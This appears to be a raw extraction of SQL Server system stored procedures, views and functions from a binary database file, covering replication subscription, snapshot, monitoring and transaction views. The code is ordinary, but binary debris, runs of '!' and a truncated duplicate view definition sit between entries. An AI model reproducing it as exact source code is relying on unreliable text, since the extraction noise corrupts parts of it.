                                  @LockTimeout = @timeout, -- wait till the the given @timeout time to get it
                                  @DbPrincipal = @DbPrincipal
    if @@error<>0 or @retcode<0 -- lock was not acquired
    begin
        select @retcode = 1
        select @lock_acquired = -1
    end
    else
    begin
        select @retcode = 0
        select @lock_acquired = 1
    end

    return @retcode
0 P8(Hhh>i>0Be@ 8CREATE VIEW sys.dm_db_session_space_usage  AS
	SELECT *
	FROM OpenRowset(TABLE DM_DB_SESSION_SPACE_USAGE)
0@ X8create procedure sys.sp_copysnapshot
(
    @publication        sysname,
    @destination_folder nvarchar(255),
    @subscriber         sysname = NULL,
    @subscriber_db      sysname = NULL,
    @publisher            sysname = NULL
)
AS
BEGIN
    DECLARE @cmd        	nvarchar(4000)
    DECLARE @retcode    	int
    DECLARE @publisher_type sysname

    SET @retcode = 0
    
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
                                                    @rpcheader      = @cmd OUTPUT,
                                                    @publisher_type = @publisher_type OUTPUT
    
    IF @retcode <> 0
        RETURN (@retcode)

    -- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    set @cmd = @cmd + N'sys.sp_MSrepl_copysnapshot'
    
    EXEC @retcode = @cmd
                    @publication,
                    @destination_folder,
                    @subscriber,
                    @subscriber_db,
                    @publisher

    RETURN (@retcode)
END
0Z@ 8create procedure sys.sp_addsubscription
(
    @publication					sysname,
    @article						sysname = 'all',
    @subscriber						sysname = NULL,
    @destination_db					sysname = NULL,
    @sync_type						nvarchar (255) = 'automatic',
    @status							sysname = NULL,
    @subscription_type				nvarchar(4) = 'push',
    -- SyncTran
    @update_mode					nvarchar(30) = 'read only',		-- Can be 'read only', 'sync tran', 'queued tran', 'failover', 'queued failover'
    @loopback_detection				nvarchar(5) = NULL,				-- 'true' or 'false'
    -- end SyncTran
    @frequency_type					int = NULL, -- defaults to 64
    @frequency_interval				int = NULL, -- defaults to 1
    @frequency_relative_interval	int = NULL, -- defaults to 1
    @frequency_recurrence_factor	int = NULL, -- defaults to 0
    @frequency_subday				int = NULL, -- defaults to 4
    @frequency_subday_interval		int = NULL, -- defaults to 5
    @active_start_time_of_day		int = NULL, -- defaults to 0
    @active_end_time_of_day			int = NULL, -- defaults to 235959
    @active_start_date				int = NULL, -- defaults to 0
    @active_end_date				int = NULL, -- defaults to 99991231
    @optional_command_line			nvarchar(4000) = NULL,
    
    @reserved						nvarchar(10) = NULL,			-- reserved, used when calling from other system
																	-- stored procedures, it will be set to 'internal'.
																	-- It should never be used directly
    @enabled_for_syncmgr			nvarchar(5) = NULL,			-- Enabled for SYNCMGR: true or false
    -- Agent offload
    @offloadagent					bit = 0,
    @offloadserver					sysname = NULL,
    -- End of agent offload
    -- DTS package name
    @dts_package_name				sysname  = NULL,				-- value will be sent and validated at distributor
    @dts_package_password			sysname = NULL,
    @dts_package_location			nvarchar(12) = NULL,
    @distribution_job_name			sysname = NULL,
    @publisher						sysname = NULL,
    -- Backup device specification for @sync_method = 'autonosync with backup'
    @backupdevicetype				nvarchar(20) = 'logical',
    @backupdevicename				nvarchar(1000) = null,
    @mediapassword					sysname = null,
    @password						sysname = null,
    @fileidhint						int = null,
    @unload							bit = 1,
    -- No-sync subscription LSN for @sync_method = 'autonosync with lsn'
    @subscriptionlsn				binary(10) = null
    -- expose -SubscriptionStreams functionality
    ,@subscriptionstreams tinyint	= null -- value provided should fall between 1 and 64
    ,@subscriber_type				tinyint = 0  -- defaults of SQL Server
    
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addsubscription'
	
	EXEC @retcode = @cmd
					@publication,
					@article,
					@subscriber,
					@destination_db,
					@sync_type,
					@status,
					@subscription_type,
					@update_mode,
					@loopback_detection,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@optional_command_line,
					@reserved,
					@enabled_for_syncmgr,
					@offloadagent,
					@offloadserver,
					@dts_package_name,
					@dts_package_password,
					@dts_package_location,
					@distribution_job_name,
					@publisher,
					@backupdevicetype,
					@backupdevicename,
					@mediapassword,
					@password,
					@fileidhint,
					@unload,
					@subscriptionlsn,
					@publisher_type
					,@subscriptionstreams
					,@subscriber_type
					
	RETURN (@retcode)
END
0N 8
create function sys.fn_replvarbintoint (@varbin varbinary(32))
returns int
as
begin
	return cast((substring(@varbin, 4, 1)  + substring(@varbin, 3, 1) + substring(@varbin, 2, 1) + substring(@varbin, 1, 1)) as int)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
m`X
@<c	2N:/0S@ 8CREATE VIEW sys.dm_os_performance_counters AS
	SELECT
		object_name, counter_name, instance_name, cntr_value, cntr_type
	FROM OpenRowSet(TABLE SYS_PERFORMANCE_COUNTERS)
0n 68create procedure sys.sp_MStran_alterschemaonly 
(
	@qual_object_name nvarchar(512) --qualified 3-part-name			
	,@objid	int
	,@pass_through_scripts nvarchar(max)
	,@target_object_name nvarchar(512) = NULL
)

AS
	set nocount on

	declare @tran_artid int 
			,@retcode int
			,@subscription_active int
			,@include_ddl int

	select @include_ddl = 0x1
		,@subscription_active = 2 
		,@retcode = 0

/*
	--a tiny optimization, if there is no table based iv, no need to check for this.
	--otherwise, check for 21845 condition
	if exists(select 1 from sysarticles where objectproperty(objid, 'IsView') = 1 or objectproperty(objid, 'IsProcedure') = 1)
	begin
		if sys.fn_ftableivprocexec(@objid) = 1
		begin
			raiserror (21845, 16, 1, @qual_object_name)
			return 1
		end
	end
*/
	begin tran sp_MStran_alterschemaonly
	save tran sp_MStran_alterschemaonly
	--loop through relavent publications/articles
	declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
		select distinct a.artid
			from sysextendedarticlesview a 
			join syspublications p on a.pubid = p.pubid 
			join dbo.syssubscriptions s on a.artid = s.artid
			where a.objid = @objid 
					and s.status = @subscription_active 
					and (p.replicate_ddl & @include_ddl) = @include_ddl

	open #trancolumn
	fetch #trancolumn into @tran_artid
	while (@@fetch_status <> -1)
	BEGIN
		exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
				  								,@ddlcmd = @pass_through_scripts
		if @retcode <>0 or @@ERROR<>0
			goto DROPTRAN
		fetch #trancolumn into @tran_artid
	END
	close #trancolumn
	deallocate #trancolumn

	commit tran sp_MStran_alterschemaonly
	return 0

DROPTRAN:
	close #trancolumn
	deallocate #trancolumn

FAILURE:
	rollback tran sp_MStran_alterschemaonly
	commit tran
	return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-``X
<	21>n0 8create procedure sys.sp_MSenum_subscriptions
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @exclude_anonymous bit = 0
)
as
begin
    declare @subscriber sysname
    declare @subscriber_id smallint
    declare @subscriber_db sysname
    declare @subscriber_name sysname
    declare @type int
    declare @status int
    declare @distribution_agent nvarchar(100)
    declare @publisher_id smallint
    declare @independent_agent bit
    declare @offload_enabled bit
    declare @offload_server sysname 

    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(4000)
    declare @delivery_time int
    declare @delivered_transactions int
    declare @delivered_commands int
    declare @average_commands int
    declare @delivery_rate int
    declare @delivery_latency int
    declare @error_id int
    declare @publication_id int
    declare @job_id binary(16)
    declare @agent_id int
    declare @local_job bit
    declare @profile_id int
    declare @last_timestamp binary(8)
			,@subscriber_type tinyint

    set nocount on
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

    select @publication_id = publication_id from dbo.MSpublications where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication and
            (publication_type = 0 or publication_type = 1)

    create table #subscriptions (subscriber sysname NOT NULL,  status int NOT NULL, 
        subscriber_db sysname NOT NULL,
        type tinyint NOT NULL, distribution_agent nvarchar(100) NOT NULL, last_action nvarchar(4000) NULL, 
        action_time nvarchar(24) NULL, start_time nvarchar(24) NULL, duration int NULL, 
        delivery_rate float NULL,
        delivery_latency int NULL, delivered_transactions int NULL, 
        delivered_commands int NULL,
        delivery_time int NULL, average_commands int NULL, 
        error_id int NULL, 
        job_id binary(16) NULL, local_job bit NULL, profile_id int NOT NULL,
        agent_id int NOT NULL, last_timestamp binary(8) NOT NULL, offload_enabled bit NOT NULL, 
        offload_server sysname NULL, subscriber_type tinyint NULL)
    
    -- This is to force all queries to return rows ordered by job_id
	-- Note: There might be dist agents left for cleaning up sub, in this case
	-- they are not in sub table and we don't want to show them
    create unique clustered index ucsubscriptions ON #subscriptions (agent_id)
    declare hC CURSOR LOCAL FAST_FORWARD FOR select id, name, subscriber_id, subscriber_db,
        job_id, local_job, subscription_type, profile_id, subscriber_name, offload_enabled,
        offload_server 
        from MSdistribution_agents a
        where exists (select * from dbo.MSsubscriptions s where
			(a.id = s.agent_id or a.anonymous_agent_id = s.agent_id) and
			s.publisher_id = @publisher_id and
			s.publisher_db = @publisher_db and
			-- For 6.x publisher, we don't know the association between the publication
			-- and subscriptions. Show every dist agent under each publication.
			(s.publication_id = @publication_id or s.publication_id = 0 ) and
			(a.subscriber_id >= 0  or a.subscriber_id is NULL)) and 
			(@exclude_anonymous = 0 or a.anonymous_agent_id is null)
        for read only

    -- declare hC CURSOR LOCAL FAST_FORWARD FOR select a.id, a.name, a.subscriber_id, ms.subscriber_db,
    --  a.job_id, a.local_job, ms.subscription_type, a.profile_id, a.subscriber_name
    --    from MSdistribution_agents a, master.dbo.sysservers s, dbo.MSsubscriptions ms
    --    where
    --    a.publisher_id = @publisher_id and
    --    a.publisher_db = @publisher_db and
    --  (a.publication = @publication or a.publication = 'ALL') and
    --  a.subscriber_id >= 0 and
    --  ms.publisher_db = @publisher_db and
    --  ms.publication_id = @publication_id and
    --  ms.subscriber_id = a.subscriber_id and
    --  ms.subscriber_db = a.subscriber_db and
    --  s.srvid = ms.subscriber_id
    --  for read only

    open hC
    fetch hC into  @agent_id, @distribution_agent, @subscriber_id, @subscriber_db,
        @job_id, @local_job, @type, @profile_id, @subscriber_name, @offload_enabled, 
        @offload_server
    while (@@fetch_status <> -1)
    begin
        /* Stuff in the values for no history case */
        select @status = 0, 
            @start_time = NULL,
            @time = NULL, @duration = NULL, @comments = NULL,
            @delivery_time = NULL, @delivered_transactions = NULL,
            @delivered_commands = NULL, @average_commands = NULL,
            @delivery_rate = NULL, @delivery_latency = NULL,
            @error_id = NULL,
            @last_timestamp = 0x00000000

        -- Get the status of the agent
        select @status = runstatus, 
            @start_time = sys.fn_replformatdatetime(start_time),
            @time = sys.fn_replformatdatetime(time),
            @duration = duration, 
            @comments = comments,
            @delivery_time = 0, @delivered_transactions = delivered_transactions,
            @delivered_commands = delivered_commands, @average_commands = average_commands,
            -- Note: return average rate here !!! delivery_rate column is current rate
            @delivery_rate = delivery_rate,
            @delivery_latency = delivery_latency,
            @error_id = error_id, @last_timestamp = timestamp
            from MSdistribution_history with (READPAST)
            where
                agent_id = @agent_id and
                timestamp = (select max(timestamp) from MSdistribution_history with (READPAST) 
                    where 
                    agent_id = @agent_id)

        -- For anonymous subscriptions, @subscriber_name is not NULL
         if @subscriber_name is NULL
		 begin
            select @subscriber = srvname from master.dbo.sysservers where srvid=@subscriber_id
			select @subscriber_type = type from MSsubscriber_info where
				UPPER(publisher) = UPPER(@publisher) and
				UPPER(subscriber) = UPPER(@subscriber)
         end
		 else 
		 begin
			select @subscriber = @subscriber_name
			select @subscriber_db = @subscriber_db + '-' + convert(nvarchar(30), @agent_id)
			-- Don't know the subscriber type for anonymous
		 end

        insert into #subscriptions values ( @subscriber, @status, @subscriber_db,
            @type, @distribution_agent, @comments, @time, @start_time, @duration,
            @delivery_rate, @delivery_latency, @delivered_transactions, 
            @delivered_commands,  @delivery_time, @average_commands,
            @error_id, @job_id, @local_job, @profile_id, @agent_id, @last_timestamp,
            @offload_enabled, @offload_server, @subscriber_type)

        fetch hC into  @agent_id, @distribution_agent, @subscriber_id, @subscriber_db,
            @job_id, @local_job, @type, @profile_id, @subscriber_name, @offload_enabled,
            @offload_server
      end

    select * from #subscriptions order by job_id asc 

    drop table #subscriptions
    close hC
    deallocate hC
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
	<	2:>H0P 8create procedure sys.sp_monitor
as
if (not (is_srvrolemember('sysadmin') = 1))  -- Make sure that it is the SA executing this.
        begin
                raiserror(15247,-1,-1)
                return(1)
        end

/*
**  Declare variables to be used to hold current monitor values.
*/
declare @now 		datetime
declare @cpu_busy 	int
declare @io_busy	int
declare @idle		int
declare @pack_received	int
declare @pack_sent	int
declare @pack_errors	int
declare @connections	int
declare @total_read	int
declare @total_write	int
declare @total_errors	int

declare @oldcpu_busy 	int	/* used to see if DataServer has been rebooted */
declare @interval	int
declare @mspertick	int	/* milliseconds per tick */

/*
**  If we're in a transaction, disallow this since it might make recovery
**  impossible.
*/
set implicit_transactions off
if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sp_monitor')
		return (1)
	end

/*
**  Set @mspertick.  This is just used to make the numbers easier to handle
**  and avoid overflow.
*/
select @mspertick = convert(int, @@timeticks / 1000.0)

/*
**  Get current monitor values.
*/
select
	@now = getdate(),
	@cpu_busy = @@cpu_busy,
	@io_busy = @@io_busy,
	@idle = @@idle,
	@pack_received = @@pack_received,
	@pack_sent = @@pack_sent,
	@connections = @@connections,
	@pack_errors = @@packet_errors,
	@total_read = @@total_read,
	@total_write = @@total_write,
	@total_errors = @@total_errors

/*
**  Check to see if DataServer has been rebooted.  If it has then the
**  value of @@cpu_busy will be less than the value of spt_monitor.cpu_busy.
**  If it has update spt_monitor.
*/
select @oldcpu_busy = cpu_busy
	from master.dbo.spt_monitor
if @oldcpu_busy > @cpu_busy
begin
	update master.dbo.spt_monitor
		set
			lastrun = @now,
			cpu_busy = @cpu_busy,
			io_busy = @io_busy,
			idle = @idle,
			pack_received = @pack_received,
			pack_sent = @pack_sent,
			connections = @connections,
			pack_errors = @pack_errors,
			total_read = @total_read,
			total_write = @total_write,
			total_errors = @total_errors
end

/*
**  Now print out old and new monitor values.
*/
set nocount on
select @interval = datediff(ss, lastrun, @now)
	from master.dbo.spt_monitor
/* To prevent a divide by zero error when run for the first
** time after boot up
*/
if @interval = 0
	select @interval = 1
select last_run = lastrun, current_run = @now, seconds = @interval
	from master.dbo.spt_monitor

select
	cpu_busy = substring(convert(varchar(11),
		convert(int, ((@cpu_busy * @mspertick) / 1000)))
		+ '('
		+ convert(varchar(11), convert(int, (((@cpu_busy - cpu_busy)
		* @mspertick) / 1000)))
		+ ')'
		+ '-'
		+ convert(varchar(11), convert(int, ((((@cpu_busy - cpu_busy)
		* @mspertick) / 1000) * 100) / @interval))
		+ '%',
		1, 25),
	io_busy = substring(convert(varchar(11),
		convert(int, ((@io_busy * @mspertick) / 1000)))
		+ '('
		+ convert(varchar(11), convert(int, (((@io_busy - io_busy)
		* @mspertick) / 1000)))
		+ ')'
		+ '-'
		+ convert(varchar(11), convert(int, ((((@io_busy - io_busy)
		* @mspertick) / 1000) * 100) / @interval))
		+ '%',
		1, 25),
	idle = substring(convert(varchar(11),
        convert(int, ((convert(bigint,@idle) * @mspertick) / 1000)))
		+ '('
		+ convert(varchar(11), convert(int, (((@idle - idle)
		* @mspertick) / 1000)))
		+ ')'
		+ '-'
		+ convert(varchar(11), convert(int, ((((@idle - idle)
		* @mspertick) / 1000) * 100) / @interval))
		+ '%',
		1, 25)
from master.dbo.spt_monitor

select
	packets_received = substring(convert(varchar(11), @pack_received) + '(' +
		convert(varchar(11), @pack_received - pack_received) + ')', 1, 25),
	packets_sent = substring(convert(varchar(11), @pack_sent) + '(' +
		convert(varchar(11), @pack_sent - pack_sent) + ')', 1, 25),
	packet_errors = substring(convert(varchar(11), @pack_errors) + '(' +
		convert(varchar(11), @pack_errors - pack_errors) + ')', 1, 25)
from master.dbo.spt_monitor

select
	total_read = substring(convert(varchar(11), @total_read) + '(' +
		convert(varchar(11), @total_read - total_read) + ')', 1, 19),
	total_write = substring(convert(varchar(11), @total_write) + '(' +
		convert(varchar(11), @total_write - total_write) + ')', 1, 19),
	total_errors = substring(convert(varchar(11), @total_errors) + '(' +
		convert(varchar(11), @total_errors - total_errors) + ')', 1, 19),
	connections = substring(convert(varchar(11), @connections) + '(' +
		convert(varchar(11), @connections - connections) + ')', 1, 18)
from master.dbo.spt_monitor

/*
**  Now update spt_monitor
*/
update master.dbo.spt_monitor
	set
		lastrun = @now,
		cpu_busy = @cpu_busy,
		io_busy = @io_busy,
		idle = @idle,
		pack_received = @pack_received,
		pack_sent = @pack_sent,
		connections = @connections,
		pack_errors = @pack_errors,
		total_read = @total_read,
		total_write = @total_write,
		total_errors = @total_errors

return (0) -- sp_monitor
046@ }8CREATE VIEW sys.dm_tran_active_transactions AS
	SELECT
		transaction_id,
		name,
		transaction_begin_time,
		transaction_type,
		transaction_uow,
		transaction_state,
		transaction_status,
		transaction_status2,
		dtc_state,
		dtc_status,
		dtc_isolation_level,
		filestream_transaction_id
	F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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	
</	vGC046@ }8CREATE VIEW sys.dm_tran_active_transactions AS
	SELECT
		transaction_id,
		name,
		transaction_begin_time,
		transaction_type,
		transaction_uow,
		transaction_state,
		transaction_status,
		transaction_status2,
		dtc_state,
		dtc_status,
		dtc_isolation_level,
		filestream_transaction_id
	FROM OpenRowset(TABLE ACTIVE_TRANSACTIONS)
0h 
8create procedure sys.sp_MSenum_snapshot_s
(
    @name nvarchar(100),
    @hours int = 0, /* @hours < 0 will return TOP 100 */
    @session_type int = 1 /* Return all sessions */
)
as
begin
    set nocount on

    declare @agent_id int
    declare @succeed int
    declare @retry int
    declare @failure int
    declare @min_time datetime
    declare @independent_agent bit
    declare @publisher_id smallint
    declare @publisher_db sysname
    declare @publication sysname
    declare @start_agent_comment nvarchar(100)
    declare @initializing int
    declare @latest_session_timestamps table (timestamp binary(8) primary key, action_count int)

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    /* 
    ** Status const defined in sqlrepl.h 
    */
    select @succeed = 2
    select @retry = 5
    select @failure = 6
    select @initializing = 1
    select @start_agent_comment = formatmessage(20529)


    SELECT @publisher_id = publisher_id, @publisher_db = publisher_db, 
        @publication = publication, @agent_id = id
        from
        MSsnapshot_agents
        where 
        name = @name 

    insert into @latest_session_timestamps 
        select max(timestamp), count(*)
          from MSsnapshot_history
         where (runstatus <> @initializing or
                comments <> @start_agent_comment) 
      group by agent_id, start_time
        having agent_id = @agent_id

    /* Get date starting point */
    IF @hours < 0
    BEGIN
        select top 100 sh1.runstatus, 
            'start_time' = sys.fn_replformatdatetime(sh1.start_time), 
            'time' = sys.fn_replformatdatetime(sh1.time), 
            sh1.comments, sh1.duration,
            sh1.delivery_rate, sh1.delivered_commands,
            'action_count' = lst.action_count,
            sh1.error_id
            from MSsnapshot_history sh1
            inner join @latest_session_timestamps lst
            on sh1.timestamp = lst.timestamp
            where
            sh1.agent_id = @agent_id and
            ((@session_type = 1)  or
            sh1.runstatus = @failure) 
            order by sh1.timestamp desc
    END
    ELSE
    BEGIN
        IF @hours = 0
        BEGIN
            select @min_time = NULL
        END
        ELSE
        BEGIN
            select @min_time = dateadd(hour, -@hours, getdate())
        END
        select sh1.runstatus, 
            'start_time' = sys.fn_replformatdatetime(sh1.start_time), 
            'time' = sys.fn_replformatdatetime(sh1.time), 
            sh1.comments, sh1.duration,
            sh1.delivery_rate, sh1.delivered_commands,
            'action_count' = lst.action_count,
            sh1.error_id
            from MSsnapshot_history sh1
            inner join @latest_session_timestamps lst
            on sh1.timestamp = lst.timestamp
            where
            sh1.agent_id = @agent_id and
            ((@session_type = 1)  or
            sh1.runstatus = @failure) and
            (sh1.time >= @min_time OR @min_time IS NULL)
            order by sh1.timestamp desc
    END
end
0[@ 3	8create procedure sys.sp_MSfixupbeforeimagetables(@pubid uniqueidentifier)
AS
begin
    -- This procedure updates the generations in the existing rows in the before-image
    -- tables of all articles in the specified publication to the current gen_cur value for 
    -- the respective article.
    -- This is done after the subscription has been reinitialized (at a republisher). The reason
    -- is that the genhistory rows at the subscriber no longer correspond to the values before 
    -- the reinit. They are simply bcp-ed in from the bcp generated at the publisher. 
    -- Setting the existing before image rows to gen_cur has the effect of avoiding the retention-
    -- based cleanup of these rows based on invalid coldate values (since they are in context of
    -- the publisher). The cleanup thus gets delayed to when the current gen_cur value expires retention.
    declare @before_image_tablename sysname, @gencur bigint, @gencur_str nvarchar(30), @cmd nvarchar(1000)
    declare @tablenick int

    if @pubid is null
        return 0
        
    if ({ fn ISPALUSER(@pubid) } <> 1)
    begin       
        RAISERROR (14126, 11, -1)
        return (1)
    end

    declare beforeimagetables_cursor CURSOR LOCAL FAST_FORWARD for 
    select distinct object_name(before_image_objid), nickname 
    from dbo.sysmergearticles 
    where artid in 
        (select artid from dbo.sysmergearticles where pubid = @pubid)
    and before_image_objid is not null
    FOR READ ONLY

    open beforeimagetables_cursor
    fetch next from beforeimagetables_cursor into @before_image_tablename, @tablenick

    while (@@fetch_status <> -1)
    begin
        begin transaction
        
        exec sys.sp_MSmerge_getgencur @tablenick, 0, @gencur output
            
        if @before_image_tablename is not null
        begin
            select @gencur_str = convert(nvarchar, @gencur)
            select @cmd = 'update ' + quotename(@before_image_tablename) + ' set generation = ' + @gencur_str
            exec (@cmd)
        end

        commit transaction
        
        fetch next from beforeimagetables_cursor into @before_image_tablename, @tablenick
    end

    close beforeimagetables_cursor
    deallocate beforeimagetables_cursor

    return 0
end

